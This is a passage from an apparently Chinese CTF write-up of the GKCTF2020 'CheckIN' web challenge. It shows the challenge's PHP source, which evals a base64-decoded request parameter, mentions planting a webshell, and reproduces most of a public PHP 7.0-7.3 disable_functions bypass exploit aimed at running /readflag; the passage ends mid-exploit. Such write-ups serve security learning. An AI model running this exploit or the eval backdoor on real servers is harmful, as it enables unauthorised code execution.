GKCTF2020_web

不完整，先把打出来的题目写一下，再写复现的好了

CheckIN

源码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
   
        public $code = null;
        public $decode = null;
        function __construct()
        {
   
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
   
                return $_REQUEST;
        }
}
new ClassName();

利用__construct魔术方法，把Ginkgo的值进行base64解密后命令执行。 先写个最简单的木马，利用蚁剑连接，发现根目录有个readflag,还有个flag，不过flag里面没东西，估计是没有读取权限。readflag读取也乱码了。发现好多函数不能用，看看phpinfo();里面的有效信息。

发现disable_functions禁用了好多关键函数。想着能不能绕过这些函数来运行readflag，获取flag。

disable_functions绕过

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");	//改成自己想要运行的命令或者文件，比如说这题的readflag

function pwn($cmd) {
   
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
   
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
   
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
   
        $out = "";
        for ($i=0; $i < $m; $i++) {
   
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
   
        $i = 0;
        for($i = 0; $i < $n; $i++) {
   
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
   
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) {
    $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
   
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {